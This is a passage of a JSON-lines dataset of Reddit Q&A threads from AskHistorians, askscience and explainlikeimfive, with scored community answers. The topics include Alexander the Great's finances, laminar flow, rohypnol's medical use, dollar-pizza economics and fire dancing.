anyway? I don't know that I have ever actually bought a product because of an ad. The only way in which they help is if it's a situation where you didn't previously know the product existed, then I would say I am swayed. But as far as like.. advertising McDonalds vs Hardees or something like that, my mind was made up before I left the house that morning (McDonalds is gross!). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.researchgate.net/publication/232459071_The_Effects_of_Length_Content_and_Repetition_on_Television_Commercial_Effectiveness"], [], [], [], ["https://www.reddit.com/r/askscience/comments/3pllyj/are_30_second_advertisements_more_effective_than/cw7juvk"], []]}
{"q_id": "79yh3c", "title": "When Alexander the Great became king of Macedon, he abolished all taxes. How was he able to maintain a robust military and home front bureaucracy without compulsory funding from the people?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/79yh3c/when_alexander_the_great_became_king_of_macedon/", "answers": {"a_id": ["dp5tzbi", "dp5vb5q", "dp60hzc"], "score": [138, 10, 276], "text": ["Do you think you could provide a source for this claim? Not saying it's necessarily incorrect, but I personally haven't heard of this idea before so am interested...", "As a follow up question, is this that abnormal for the time? Or has there been a pattern of taxless governance in the past?", "I suspect that the claim in the video you're referring to is based on a misunderstanding. Alexander didn't abolish all taxes. Wherever he went during his conquest of Asia, our sources report that he levied specific amounts of tribute or tax - usually at the same level as the Persians had done previously. For instance, when he replaced the satrap of Phrygia in Asia Minor:\n\n >  He made Kalas satrap of the satrapy which Arsites had held, ordering the inhabitants to pay the same taxes that they had previously paid to Dareios.\n\n-- Arrian, *Anabasis* 1.17.1\n\nShortly afterwards, an officer named Nikias is assigned to oversee \"the taxes, contributions and tribute\" levied from Lydia (Arr. *An.* 1.17.7). Clearly, the people were still expected to pay up.\n\nIndeed, it was Alexander's habit to pay the debts *and lift the tax obligations* on his own officers and soldiers (or to their surviving kin) as a reward for brave conduct in battle. On one occasion he abolished all taxes from a particular town because it claimed to be a colony of Argos, which was the home of Alexander's supposed ancestors (Arr. *An.* 2.5.9). Gestures like these obviously wouldn't make much sense if these people were not paying tax in the first place.\n\nSo what is causing the confusion? It is probably the fact that when Alexander first liberated the Greeks of Asia Minor, he freed them from the tribute that had been imposed by the Persians. This sounds an awful lot like he abolished taxes. However, he immediately replaced them with a fixed \"contribution\" which the Greek cities were to make to the common cause (i.e. waging war on the Persians). Their tax burden may have been lower, but it was certainly not abolished as a matter of principle.\n\nThat said, Alexander followed in his father's footsteps in cultivating an image of peerless generosity, which drove state expenses far beyond what any previous polity west of Persia could have sustained. His feasts and rounds of rewards for his troops could cost many thousands of talents each. On one occasion, Alexander spent about as much on a single celebration in Babylon as the entire silver reserve stockpiled by Athens for the Peloponnesian War. In addition, the sheer expense of maintaining a professional army - let alone one the size of Alexander's expeditionary force - would have been insurmountable to any Greek state. In short, Alexander needed stupendous amounts of money to sustain his conquests, and traditional means of gathering revenue weren't going to cut it.\n\nIt made sense for Alexander to avoid trying to make up the shortfall by raising additional tribute from the lands he took. Firstly, even if his revenue stream could be doubled or tripled, it would not have covered his costs. Secondly, the heavier the burden of tribute, the more likely it was that conquered regions would try to throw off his yoke. This would require larger garrisons, which in turn would drive up expenses. There was a major problem of diminishing returns in the notion of raising more taxes. Instead, the examples above suggest that Alexander generally kept tribute levels as they were, except in those cases (the Greeks of Asia Minor, the descendants of Argives, the fallen among his troops) where there was a clear propaganda coup to be made by abolishing them. But where else could he get the funds he needed?\n\nFor Alexander's father, the solution had been the conquest of the silver and gold mines at Amphipolis. This breakaway Athenian colony was adjacent to Macedon and fell under Philip's sway early in his reign; after expansion of its mines, its yearly revenue was said to be upwards of 1,000 talents (Diodoros 16.8.6) - as much as the tribute of the entire Athenian empire at the height of its power. For Philip, this bullion appears to have sufficed to build his professional army and establish his rule over Epiros, Thrace and mainland Greece. For Alexander, it would have provided a solid foundation for his finances. But at the scale at which Alexander operated, it was nowhere near enough money.\n\nAlexander's answer was simple: that which he could not provide for himself would have to be taken from others. Specifically, his campaign against the Persians largely succeeded in funding itself, through the \"liberation\" of staggering quantities of stockpiled Persian gold. When Alexander captured Sardis in Asia Minor, he seized 40,000 talents; in his campaign overall, including the spectacular plunder from the palace at Persepolis, we can calculate that he may have captured in the region of 250,000 talents of Persian gold. If Herodotos was right to estimate the total tribute of the Persian empire at c. 14,500 talents a year, Alexander released for his conquests a sum of money equal to 17 years of collected tribute from the largest empire in the world. This, and only this, allowed Alexander to be simultaneously as warlike and as generous as he was famed to be."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "vr63p", "title": "would a heart transplant recipient notice the difference between receiving a heart from say, an Olympic rower, compared to someone in \"normal\" condition? ", "selftext": "I thought of this yesterday, as I just became an organ donor, and although I'm not an olympian by any stretch of the imagination, I'm a pretty strong distance runner. If my heart were to be donated upon my death, would the recipient notice the difference between my heart and someone who's not as active, or they are in such poor health anyways that it would not make a difference? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vr63p/would_a_heart_transplant_recipient_notice_the/", "answers": {"a_id": ["c56we6c"], "score": [18], "text": ["You might be tempted to think so, but I doubt it. The function of the cardiovascular system is not so sensitive to the specific heart being used. Venous return, and cardiac afterload, have much bigger effects, and these are properties of blood volume, arterial resistance, and venous capacitance. The heart is pretty dern good at pumping out whatever is returned to it. Changes in blood volume, and arteriovenous tone would have larger effects (ie: you would likely not notice if you were implanted with the heart of someone who is not so active). \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3lka1l", "title": "what is the actual use for rohypnol and why/how did it become the common 'date-rape' drug?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3lka1l/eli5_what_is_the_actual_use_for_rohypnol_and/", "answers": {"a_id": ["cv6yd1p", "cv6yf1b", "cv6yi0t", "cv71jwm", "cv79sds", "cv7bqpg", "cv7yo7n"], "score": [11, 4, 133, 4, 6, 2, 2], "text": ["The actual use is pretty much the same. It's a hypnotic and is used for people who suffer from severe and chronic imsonia. Usually it's only used if other medication does not work. Because it can also cause amnesia, it was touted as a potential date-rape drug. Although whether it's actually commonly used is debatable. Studies haven't found this to be the case.", "It's a benzodiazepine used as an hypnotic, sedative, anticonvulsant, anxiolytic, and skeletal muscle relaxant drug. overdose can result in excessive sedation, impairment of balance and speech, respiratory depression or coma, and possibly death. Because of the latter, (flunitrazepam) Rohypnol is commonly used recreationaly, in suicide, and date rape. Flunitrazepam was first synthesized in 1972 and was used in hospitals when deep sedation was needed. In the United States, the drug has not been approved by the Food and Drug Administration and is considered to be an illegal drug.", "Rohypnol, pharmaceutical name flunitrazepam, belongs to the benzodiazepine family of drugs. You may be more familiar with two others in the family: xanax or ativan.\n\nIts intended use is as a sleep aid, although it is sometimes used as an anti-convulsant or muscle relaxant.\n\nIt became \"the date rape drug\" because simply, its perfect for that.\n\nIt heavily sedate users, relaxes muscles making it harder to move, and can cause anterograde amnesia.  That is, it temporarily restricts the ability to create new memories,  which is useful to the type of person who would use it on a victim.", "My other question that hasn't been answered as such would be how people get the drug in the first place? Obviously medical persons aside, do people what, buy it on the street? If so that's bizarre and terribly sad that dealers would stock it, knowing what 'clients' are in all likelihood going to do with it. Shit, I'll stop typing, creeping myself out here...", "**GHB originally became popular because it was used by bodybuilders to enhance growth hormone release.**\n\n\n**Old stats regarding its use as a date rape drug:**\n\n*\"Of 1,179 specimens collected from victims of alleged assault nationwide, 38% were positive for alcohol, 18% for tetrahydrocannabinol (THC), 8% for benzodiazepines, and 4% for gamma-hydroxybutyrate (GHB)\" ... This was from back in 1999 when GHB was easier to get.*\n\nsource(old as hell): ElSohly MA, Salamone SJ: Prevalence of drugs used in cases of alleged sexual assault. J Anal Toxicol 1999; 23:141-146\n\n**In case you think you've been drugged:**\n\n*\"For cases of sexual assault, cost-free testing is provided for benzodiazepines, including flunitrazepam, GHB, alcohol, and other commonly encountered drugs (Hoffman La Roche Sexual Assault Hotline, telephone 800-608-6540). Testing from several national forensic and toxicology laboratories ranges from approximately $100 to $400 per specimen (National Medical Services, Willow Grove, Pa).\"*\n\nsource: _URL_0_\n", "I used to take Zoplicone for sleeping, but over the past year or so my Doc has been prescribing me Rohypnol. It works as well as zops but doesn't have the whole memory loss side affect, it's cheaper also.  ", "Fucking Benzos. In an earlier life, I was head doorman at a number of very big clubs in a town of which you've never heard. I always separated the visibly unconscious girls from their \"boyfriends' who were 'just taking them home to sleep it off'. No matter how many of their cousins threatened to come back with 'The Boys'. Called the ambos and cops (both free in Oz), got their IDs and called their parents.\n\nBut, since I had other duties, some of the new guys let them go. Not sure if bribed (it was mostly gang guys doing the Rolling), or dumb.\n\nBut, every time I had to watch some poor 14-18 yo girl (fake ID was easy in those days) bawling her eyes out because she'd just been gang-raped in an alley and didn't know where she was; all I could think about was vengeance.\n\nAnyone who watches 'Sons of Anarchy' as a documentary should ask themselves how happy they would be for their daughter to hang with 'The Boys'."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.medscape.com/viewarticle/410558_2"], [], []]}
{"q_id": "1il641", "title": "As of today, the Dow Jones is at the highest level it's ever been and GDP Per Capita is the highest it's ever been. Why is inflation adjusted household income basically unchanged since the 1960's?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1il641/as_of_today_the_dow_jones_is_at_the_highest_level/", "answers": {"a_id": ["cb5jc07"], "score": [13], "text": ["From eyeballing those charts, GDP per capita has gone up by ~$18k since 1999 while household income has gone up by about $10k for the middle quintile. Household income has gone up by about $35k for the top quintile during the same period. There are probably some other factors involved, specifically dealing with how these numbers are calculated, but the trend is pretty clear: the pie is getting bigger, but the rich are taking a larger and larger cut of it every year."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "50tpzc", "title": "Most belief systems that feature an afterlife associate Heaven with the sky and/or Hell with being beneath the Earth. Are there any cultures that reversed this trend?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/50tpzc/most_belief_systems_that_feature_an_afterlife/", "answers": {"a_id": ["d76y7i1"], "score": [2], "text": ["Sorry, we don't allow [\"example seeking\" questions](_URL_1_). It's not that your question was bad; it's that these kinds of questions tend to produce threads that are collections of disjointed, partial responses. That makes a lot of work for moderators, and we just don't have the staff to cope. If you have a question about a specific historical event, period, or person, feel free to rewrite your question and submit it again. If you don't want to rewrite it, you might try submitting it to /r/history /r/askhistory, or /r/tellmeafact. \n\nFor further explanation of the rule, feel free to consult [this META thread](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/3nub87/rules_change_throughout_history_rule_is_replaced/", "https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22example_seeking.22_questions"]]}
{"q_id": "bvlwl2", "title": "Do gasses have a similar concept to \u201claminar flow\u201d?", "selftext": "I am asking if the actual definition of laminar flow for liquids has a parallel in gasses. \n\nI\u2019m just a 16 year old so I need a second guess on this but my theory was that gasses just don\u2019t (without extreme intervention) because gasses aren\u2019t usually uniform in composition and the difference in density causes chaos. I wouldn\u2019t even begin to guess about what could happen if you could test with all of one gas and no others.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bvlwl2/do_gasses_have_a_similar_concept_to_laminar_flow/", "answers": {"a_id": ["epqeglp", "epqgnow", "epqmkfu", "epr5do8", "eps5odm"], "score": [68, 27, 14, 8, 3], "text": ["Laminar flow can apply to liquids or gases.   The key factor is the [Reynolds Number](_URL_0_).  The faster and wider a flow is, and the lower its viscosity, the more likely it is to be turbulent.", "Yes it is possible to have laminar flow in gasses as well. Both gasses and liquids are considered fluids and the same equations describe both things.\n\nThe only difference are things like density, viscosity and compressibility. Whether a flow is turbulent or laminar depends on the so called Reynolds number. It is a combination of density, viscosity, flow speed, and length scale. \n\nRe = density * speed * length scale / viscosity\n\nYou can view this number as a ratio of different forces in the fluid. Density and speed give you the inertia of the fluid, i.e. how *violently* it moves. Length and viscosity represent the friction in the fluid. That means how strongly it is slowed down.\n\nAt low Reynolds numbers the fluid moves less violently and the friction is rather strong. So the flow sticks to itself and random motions are dampened. The flow is laminar.\n\nAt about a Reynolds number of Re=500000 the viscosity is not enough to dampen random movements and the flow becomes turbulent. \n\nSince the major difference between liquids and gasses are density and viscosity, you can just tweak the other two parameters, length and speed, to obtain a laminar flow. And this is done in ventilation shafts, where you have very small flow speeds to prevent turbulence.\n\nEdit: if you know someone who vapes, you can actually see laminar flow in air. You just have to blow really slowly onto a flat surface indoors. You'll see that the vapor will not immediately mix with the surrounding air, but instead flow along the surface. This is laminar flow.", "Professional pilot and aerospace engineer here. Both gases and liquids are \"fluids\" and their motion is governed by [Fluid Dynamics](_URL_1_). So yes, for gases you certainly can find [Reynolds Number](_URL_0_) which will tell you about the type of flow. Read up some more as this subject is absolutely amazing.", "Yes, we call it laminar flow.\n\nOther answers are correct as well, the basic point is that all gases and liquids are fluids by definition. The Reynolds number (Re) describes the relationship between a Newtonian fluid's density, viscosity, velocity, and the geometry in which it is flowing. For sufficiently low Re, flow is laminar, for generally any fluid.\n\nWhen you increase the fluid's velocity or density, or when you decrease its viscosity, the flow regime moves gradually from orderly, laminar flow to more random, turbulent flow.", "Just an extension of some other posts........\n\nReynolds number is the ratio of inertial to viscous forces. Looking into non-dimensionalization (Buckingham Pi, Geometric Similarity) would really benefit you (or anyone really). \n\nI would not think of the fluid in terms of molecules but rather small fluid/gas cells. As far as I know, the Navier Stokes equations do not extend to the molecular level. When I work with air or water I do not ever consider H2O or the mixture of gases that make up air. Their molecular structure does affect their fluid properties though, which is very important."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Reynolds_number"], [], ["https://en.m.wikipedia.org/wiki/Reynolds_number", "https://en.m.wikipedia.org/wiki/Fluid_dynamics"], [], []]}
{"q_id": "bur3vw", "title": "What would happen if a 'dead or alive' bounty Hunter killed the wrong person?", "selftext": "I guess to get us towards an answer. \n\nLet's focus on late 1800's USA, or somewhere around that time. \n\nWas it common for this to happen?\nWhere there laws to protect this from happening or to protect a bounty Hunter if this happened?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bur3vw/what_would_happen_if_a_dead_or_alive_bounty/", "answers": {"a_id": ["eph3ase", "epj7i17"], "score": [244, 195], "text": ["/u/kingconani has some information that might be useful here:\n_URL_0_", "Hi there! Interesting question, but it's based on the premise that a bounty hunter killing the *right* person would be excused of committing any crime. You might have seen my [previous answer](_URL_0_) that touches on this situation. To address your question more directly, the answer would be \"the same thing that happened to anyone else.\" To reiterate what I wrote in my previous answer, being a \"bounty hunter\" was not a separate profession for the most part, but someone pursuing/collecting a bounty was usually someone operating either as a member of a state or local law enforcement agency or someone working for a detective agency. (In much of this era, law enforcement had no official training, and being deputized could take as little as a few words being exchanged.) There were also cases when wealthy individuals or companies posted bounties for people, such as when banks or railroads posted bounties for robbers, but this in no way excused those who committed any crime, up to and including murder, in pursuit of those rewards.\n\nIn cases when a law enforcement officer killed a bystander during a gunfight, they were largely acquitted. This happened, for example, when \"Wild\" Bill Hickok, marshal of Abilene, killed deputy Mike Williams during his fight with Phil Coe, though Hickok was fired from his post as marshal of Abilene soon after. When Commodore Perry Owens confronted cattle thief and reported murderer Andy L. \"Cooper\" Blevins in his family house, Owens ended up killing Blevins and his brother and wounding another brother, all of whom were part of the fight. Owens also killed Mose Roberts, a guest of the family, who was shot to death by Owens while Roberts was understandably fleeing through a window. The killings were found to be justified. Nevertheless, Owens was haunted by nightmares and guilt for what he had done, in particular for killing the youngest Blevins, who was only 16. Why he was more haunted by killing a boy than for killing an innocent man running away from a gunfight is between Owens and his conscience. When Marshal Dallas Stoudenmire killed an innocent bystander when rushing to defend Constable Gus Krempkau from an attack, he was never charged for it.\n\n(As a sad aside, the Manning clan killed Stoudenmire for killing George Campbell during that fight. Stoudenmire, rushing to Constable Krempkau's help from where he had been eating at the restaurant down the street, didn't realize that Campbell was trying to stop the attack. Stoudenmire just saw Krempkau, wounded and confused, firing at Campbell, whose gun John \"Johnny\" Hale had grabbed to attack Krempkau with. Stoudenmire shot Hale dead and then, seeing Krempkau shooting at Campbell, also killed Campbell, who at that point had his gun out to defend himself (he had already been wounded twice by Krempkau), but was shouting that it wasn't his fight. Three Texas Rangers who were present testified that they hadn't intervened because they believed Campbell wasn't a threat to Stoudenmire or Krempkau. On the other hand, Captain George Baylor, who commanded those Texas Rangers, wrote to his general that Stoudenmire had acted rightly, since Stoudenmire had only seen Campbell running out with a gun, and Campbell had previously threatened him. When the inquest came in, it left out the killing of the innocent bystander entirely, mentioning only the active participants in the fight. It's probable they just considered the innocent bystander matter cut and dry: a city ordnance read, \"No officer shall be liable for damages for any act committed in the proper discharge of his duties.\")\n\nAs for a person pursuing a bounty, mistaking someone for the person they are chasing, and killing them, I have to admit I don't know of any case of this happening. Arrests, certainly, but not deaths. If anyone does know of such a case, please share!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/1v7v10/were_bounty_hunters_around_in_the_wild_west_and/"], ["https://www.reddit.com/r/AskHistorians/comments/1v7v10/were_bounty_hunters_around_in_the_wild_west_and/"]]}
{"q_id": "14cqn1", "title": "If \u03949-THC has effects on core brain reward circuits that are fundamentally similar to cocaine and heroin, why is Marijuana said to be \"non habit-forming?\"", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14cqn1/if_\u03b49thc_has_effects_on_core_brain_reward/", "answers": {"a_id": ["c7bw1r4", "c7bxyo6"], "score": [124, 47], "text": ["\"Non-habit forming\" is really bad terminology.  A better terminology would be \"not physiologically addictive.\"  The euphoric qualities of marijuana can certainly make people seek it out more, and this can turn into a habitual behavior.  But ultimately marijuana (unlike many other drugs) doesn't create a neurological situation where its continued presence is needed to avoid discomfort, sickness, or other negative effects.  The only negative effect of being a long-term marijuana user who is suddenly deprived of marijuana is that you don't have something in your life that you enjoy, much like being a football fan who suddenly can't watch the game.", "This is a gross oversimplification of neurochemistry, and you might take it with a grain of salt next time someone suggests that something as complex as motivation is subject to a single variable. This stuff is more or less at the level of phrenology.\n\nIn any case, you might want to read about [physical dependence](_URL_0_). Remember, all of these drugs act through different chemical pathways, so even if they all end up having the same downstream effect on dopamine, that doesn't mean that the dependence is formed at that stage.\n\nI.e.:\nStimulating pathway A with a drug causes addiction to that drug.\nStimulating pathway B with a drug does not cause addiction to that drug.\nPathway A and Pathway B both result in elevated dopamine levels."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Physical_dependence"]]}
{"q_id": "ty4x7", "title": "Why does a neutrophil have a lobed nucleus?", "selftext": "None of the biology teachers at my college could answer this question, and now I really want to know. So, why does a neutrophil have a lobed nucleus?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ty4x7/why_does_a_neutrophil_have_a_lobed_nucleus/", "answers": {"a_id": ["c4qqb33"], "score": [9], "text": ["The multi-lobed nucleus of the neutrophil arises during its formation, and is an artifact of the genetic events which occur during cell differentiation. During the differentiation of eukaryotic cells, the genetic activity of many regions of the genome is down regulated (transcriptional silencing) through a wide variety of mechanisms. During neutrophil differentiation, most [chromatin]( _URL_0_) condenses into [heterochromatin]( _URL_1_); some of these heterochromatic regions associate with the nuclear envelope and  form \ufb01lament-like structures. As a result, the mature neutrophil nucleus typically consists of a linear array of three or four lobes joined by thin chromatin \ufb01laments. Analysis of live neutrophils reveals that nuclear shape can vary considerably in terms of the shape of lobes and the length of \ufb01laments. It has been hypothesised that this may increase the fluidity of the cell, enhancing the ability of the neutrophil to squeeze through small gaps during diapedesis and chemotaxis, though the function of the nuclear filaments remains uncertain.\n\n[A handy reference]( _URL_2_)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Chromatin", "http://en.wikipedia.org/wiki/Heterochromatin", "http://www.ncbi.nlm.nih.gov/pubmed/10088718"]]}
{"q_id": "e7zs2v", "title": "how do $1 pizza slice places in ny make money?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e7zs2v/eli5_how_do_1_pizza_slice_places_in_ny_make_money/", "answers": {"a_id": ["fa831v3", "fa84dyf", "fa85ix6", "fa87reu", "fa882bb", "fa88hd3", "fa89hou", "fa8bw8q", "fa8e9xt", "fa8twqc"], "score": [53, 355, 23, 7, 2, 137, 9, 2, 4, 3], "text": ["It's really cheap to make a pizza. If it costs $4 to make a pizza, and you cut that pizza into $12 slices, you are able to make $8 for each pizza you sell. And since you have low prices, a lot of people go and buy pizza from you.", "Two ways: First, flour is cheap, tomato sauce is cheap, and you can use a surprisingly small amount of cheese on a surprisingly big pizza. Second: barely. Despite their pretty favorable ingredient costs, pizza restaurants run on thin margins. Rent is expensive, and at 50\u00a2 gross margin a slice, it's hard to sell enough slices to stay in the black.", "Pizza in itself can have a high mark up. Meaning the cost to make it  is a fair amount lower than what it's sold for.\n\nBasic pizza base is just flour, oil, yeast , water and sugar. Sauce is a mix of tomatos and seasonings. Then toppings vary depending on preference and place.\n\nAll in all, bought in bulk these ingredients quite cheap.\n\n\nLet's say pizza can range from $1 to $3 to make and is 8 slices. Then because of it being NY and cheap eating, say they sell 80 pizzas during lunch period. Making $640 from a $80-240 spend. On the cheaper side you have $560 profit which can be put to wages, maintenance etc. Then when you consider opening hours, they probably sell more than 80 pizzas a day. It's enough to keep a business running.", "That's like $8 a pizza. They do it the same way little caesars  sells $5 pizzas. Cheap but not terrible, convenient but not at the store's expense.", "a few answers sort of get components of this - but likely the answer is:\n\n1. Economies of scale. Likely have warehouses and are buying in super massive bulk for things like flour, tomato sauce, cheese.\n2. The $1 slice is just cheese. Things like sodas and all can help add additional profit margin (25c a can - sold for a dollar)\n3. They usually will charge double for any topping (2-2.75 for other toppings).\n4. They likely are benefiting from long term rents post financial crisis - which might be expiring in the near future.\n5. The $1 slice is a volume game - you just need to be in a well trafficked area to get your throughput at a high enouhg level to make sure you can drive enough volume.\n\nBut yeah, its a rough business - imagine that some of them are not making large profits on $1 slices (maybe covering costs and a razor thin margin) and use things like drinks and toppings to drive actual profits.  \n\n\nThey talk about some of the reasons here: [_URL_0_](_URL_0_)", "This article is almost ten years old, but the owner of a dollar slice place says in an interview that he makes fifteen to twenty cents of profit per slice. Small space with cheap rent, plenty of pedestrian traffic, high volume of up to 400 pizzas a day.\n\n_URL_0_", "I mean, Dominoes, Pizza hut, Papa J's, etc. all sell pretty big pizzas (8 slices) for $8-$10 pretty regularly. So a $1 per slice isn't too outrageous.", "Look up the \u201cwagon wheel\u201d business model. Low to zero profits on the main product and high markup on other products. Little Caesar\u2019s does this with their $5 hot-n-ready, making little to no profit on the pizza, but insane profits on breadsticks and pop.", "Economies of scale and volume. Margins are extremely thin, so they rely on their low price point to draw a large number of customers in. As more flour, tomatoes and cheese are bought, large bulk buys from suppliers would lead to higher discounts, lowering costs and making margins larger. This would be contingent on how fast the ingredients are used and how much pizzas are sold (inventory turnover), so if good inventory management is in place, it could also be another contributing factor to the profitability.\n\nOn average, they make a 10 - 20% GP (Gross profit) margin on each slice (roughly 10 - 20 cents a slice) to stay profitable.\n\nProfit margins are super small, and they need thousands of customers daily to stay afloat: It's a pure quantity game.", "Plenty of answers here already said it. But I'll jist chime in in agreement.\n\nI worked in pizza on and off for about 15 years. Managed pizza shops, even owned my own small operation for a time.\n\nPizza margins are extremely thin. The most expensive ingredient is cheese. Making mozzarella that spreads farther and thinner with less actual cheese is big business. When I worked at CiCi's (a buffet style pizza chain) we were basically counting strands of cheese on each pie (a pie that would normally take close to a lb of cheese gets like 6oz there, and it's shredded in house from enormous blocks to save pennies.)\n\nThe whole pizza game is VOLUME. If you're netting a dollar per pizza you want to sell as many pizzas in as short a time as possible. Turnover is crucial. Sell more, faster. That's the only way to turn a profit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.youtube.com/watch?v=IugcIAAZJ2M&amp;t=368s"], ["https://www.nytimes.com/2010/03/16/nyregion/16pizza.html?searchResultPosition=4"], [], [], [], []]}
{"q_id": "5bms7t", "title": "how do colour-changing markers work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5bms7t/eli5_how_do_colourchanging_markers_work/", "answers": {"a_id": ["d9q5yle"], "score": [3], "text": ["Chew a blackberry and spit a little in the sink, you'll see it's purple.  Bite off a bit of Arm  &  Hammer (or other bicarbonate of soda), and spit again, now it's a blackish colour.  This is an example of how colours can be changed by adding another chemical.  Pens are the same, with different chemicals mixing and producing different colours where they do."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4fmnpa", "title": "how can gender be fluid, when we are clearly born with female or male reproductive organs?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4fmnpa/eli5how_can_gender_be_fluid_when_we_are_clearly/", "answers": {"a_id": ["d2a4pou", "d2a4qaa", "d2a5o9a", "d2a6cfx"], "score": [6, 3, 7, 9], "text": ["Sex is what you look like. Gender is what you feel like. You can be biologically one or the other and still have your brain floating between the two. ", "Sex and gender are different. Biological sex relates to reproductive organs, while gender is a social construct. (My opinion - a topic that is still debated.) gender is (imo) a social imposition that is unhelpful when linked inflexibly to sex or conceived of as a binary. Like sexuality, gender isn't something you choose, but something you learn to understand about yourself. It's not linked inseparably from the organs you were born with. ", "It is also possible for people to be born without clear female or male reproductive organs: _URL_0_\n\nSeems to happen in as many as 1 in a thousand births so isn't uncommon.\n\nIf even the physical identifiers of gender can be unclear, then there is almost certainly plenty that can differ between people hormonally and psychologically as well.", "Most of the time (but not [always](_URL_0_)) we are born with obvious reproductive organs, and it is tempting to simply say that this aspect of your phenotype is reflective of your entire body and psychology. Biology is messy though, and it can be more complicated.\n\nFor example, the development of various tissues and organ systems in your body takes place at different rates, and varies between individuals. In *very broad lay-man terms* (take all this with a pinch of salt), all developing foetuses begin as females and eventually all the parts will differentiate into a male if a Y chromosome is present. However, if your brain happens to develop more rapidly than otherwise, it might reach a certain state more sooner by the time the Y chromosome kicks in. As there *are* [biological differences between the brains of males and females](_URL_1_), this scenario might bring about an infant with a slightly more female brain than otherwise - and so will potentially bring about a different sort of psychology, depending on upbringing and a whole host of other environmental factors. This happens to everyone to varying degrees. With the right level of degree, and circumstance, individuals might find they, due to their neural circuitry, feel more female than male and so this might explain things like transgenderism. Maybe. The biology is still poorly understood.\n\nGenetics, epigenetics and other factors have a lot to play when it comes to development, and so there's a whole smorgasbord of different arguments that can be made that support biological bases of gender fluidism. Not even going to get into the societal, cultural and other psychological effects that can be thrown in.\n\nIt's all very grey. \n\n**TL;DR:** This doesn't explain everything, but during development the 'degree' of femininity of the brain can vary and might explain *some* aspects of gender identity, even in otherwise completely biological XY males. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.m.wikipedia.org/wiki/Intersex#Ambiguous_genitalia"], ["https://en.wikipedia.org/wiki/Intersex", "https://en.wikipedia.org/wiki/Neuroscience_of_sex_differences"]]}
{"q_id": "c7gi7h", "title": "how do fire dancers stay safe?", "selftext": "Do fire dancers get burned in their line of work on a regular basis with no way to get around it? If not how do they keep from getting burns?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c7gi7h/eli5_how_do_fire_dancers_stay_safe/", "answers": {"a_id": ["eseydtk", "eshpz1d"], "score": [9, 2], "text": ["Usually people will only start using fire once they have practiced so much they rarely hit themselves with their tools. Sometimes the use LED things beforehand to practice. And good fire dancers always have water and fire blankets handy, cause sometimes you do get burned.", "Penn Jillette does a fire juggling act where he debunks the notion that juggling or dancing with fire is dangerous (obviously, for experienced performers, beginners certainly get burned now and then).\n\nHe is juggling some flaming clubs and says he's going to *intentionally* have the very worst accident you can have juggling fire: he's going to catch the burning end. He does so...and just drops the damn thing. That's it, the very worst accident you can have.\n\nThen he proceeds to juggle broken glass bottles, where the very worst accident you can have is to cut your hand off."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9l5dce", "title": "who decides what the next \"superfood\" is? how did we not already know something is good for us? is it just a marketing ploy to get rid of old stock?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9l5dce/eli5_who_decides_what_the_next_superfood_is_how/", "answers": {"a_id": ["e7451gj", "e746h2a"], "score": [2, 2], "text": ["Very frequently it is completely marketing, with little to no research backing up the claims.  \"Superfood\" is not a regulated term, so anyone can slap it on their product, and anyone can write a blog post claiming that anything is a superfood.\n\nThat said, dietary research *is* an active science, and new discoveries are frequently made.  Many are not obvious; yes, \"vitamin C is good for you\" is an easy one, but other chemicals have more complex pathways and are formed from different chemicals your food gives you.  For instance, new research shows that chicken eggs are excellent at helping your body produce chemicals used to develop the brain; this was not obvious previously, even though we knew a lot about the chemical makeup of eggs.\n\nBe wary of the term \"superfood\" when you see it in the world, but know that it isn't always snake oil.  Don't accept health-based claims without supporting research-based evidence.", "It\u2019s a marketing ploy, for the most part. \n\nEating healthy is pretty simple. I think people are just busy looking for a magic cure to their ailments, despite the fact that the answers have always been here, plain as day. The marketing industry takes advantage of our need for quick fixes and in all honesty, all the power to them. \n\nI hate the use of the word \u2018 superfood \u2018 because it gives people the impression that if they eat blueberries once daily they\u2019ll suddenly drop \u2018 10 lbs in 10 days \u2018 or something while continuing to gorge themselves on poutine and pop."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
